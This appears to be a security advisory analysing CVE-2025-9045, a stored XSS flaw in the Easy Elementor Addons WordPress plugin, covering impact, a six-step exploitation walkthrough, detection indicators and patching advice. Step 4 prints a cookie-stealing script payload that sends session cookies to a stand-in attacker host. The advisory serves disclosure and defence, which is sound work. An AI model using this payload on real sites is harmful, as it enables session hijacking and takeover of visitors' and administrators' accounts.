CVE-2025-9045: 
WordPress vulnerability analysis and mitigation

CVE-2025-9045 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Elementor Addons plugin for WordPress, developed by HashThemes. It affects versions up to and including 2.2.9, due to insufficient input sanitization and output escaping across several widget parameters. The vulnerability was disclosed on October 3, 2025, with the CVE record initially covering versions ≤2.2.8 and later updated on April 8, 2026, to include version 2.2.9. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from a failure to properly sanitize user-supplied input and escape output in multiple widget parameters. Specifically, the affected code resides in the Countdown widget (countdown.php, lines 864, 868, 871) and the Image Comparison widget (image-comparison.php, lines 376–377) of the plugin. An authenticated attacker with at least contributor-level access can inject malicious JavaScript into widget parameters, which is then persistently stored and executed in the browser of any user who visits the affected page (Wordfence, NVD).

Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the context of any user visiting the compromised page, including administrators. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and potential site takeover if an administrator's session is compromised. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its users (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Easy Elementor Addons plugin (by HashThemes) at version 2.2.9 or earlier, using tools like WPScan or by inspecting page source for plugin references.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Create or edit a page/post: Navigate to the WordPress editor and add an Easy Elementor Addons widget — specifically the Countdown or Image Comparison widget — to a page or post.
4. Inject malicious payload: In the vulnerable widget parameter fields (e.g., Countdown widget parameters at lines 864, 868, 871 or Image Comparison widget at lines 376–377), insert a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
5. Publish the page: Save and publish the page, causing the malicious script to be stored in the database.
6. Trigger execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, NVD).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints by contributor-level accounts containing script tags or encoded JavaScript in widget parameter fields.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts or wp_postmeta tables associated with Easy Elementor Addons widget data.
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, review plugin files in wp-content/plugins/easy-elementor-addons/ for unauthorized modifications.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing Easy Elementor Addons widgets, potentially carrying cookie or session data.

Site administrators should update the Easy Elementor Addons plugin to version 2.3.0 or later, which contains the fix for the vulnerable Countdown and Image Comparison widget parameters (Wordfence, NVD). As a temporary workaround, restrict contributor-level user registrations and limit the ability of untrusted users to create or edit pages with Elementor widgets. A Web Application Firewall (WAF) with XSS filtering rules, such as those provided by Wordfence, can help block exploitation attempts while patching is pending.

Wordfence, the CNA that assigned and disclosed this CVE, included it in their weekly WordPress vulnerability report for the period of September 29 – October 5, 2025, highlighting it among other plugin vulnerabilities (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been identified for this CVE.